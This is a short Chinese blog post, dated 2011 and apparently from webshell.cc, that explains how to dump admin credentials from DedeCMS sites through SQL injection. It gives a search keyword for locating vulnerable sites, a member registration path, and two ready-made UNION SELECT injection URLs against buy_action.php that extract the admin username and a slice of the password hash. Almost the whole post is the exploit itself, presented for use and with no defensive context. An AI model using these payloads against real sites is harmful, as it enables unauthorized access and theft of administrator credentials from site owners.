DedeCMS. 织梦科技注入爆管理员用户密码方法

分类:安全 | 2011-08-26 | 撸过 295 次
0人扯谈

搜索关键词:powered by dedecms

首先注册个用户,注册地址:
/member/index_do.php?fmdo=user&dopost=regnew

爆管理帐号:
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,userid,4,5%20from%20%23@__admin/*

爆管理员密码
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

本站内容均为原创,转载请务必保留署名与链接!
DedeCMS. 织梦科技注入爆管理员用户密码方法:https://www.webshell.cc/906.html
标签:

相关日志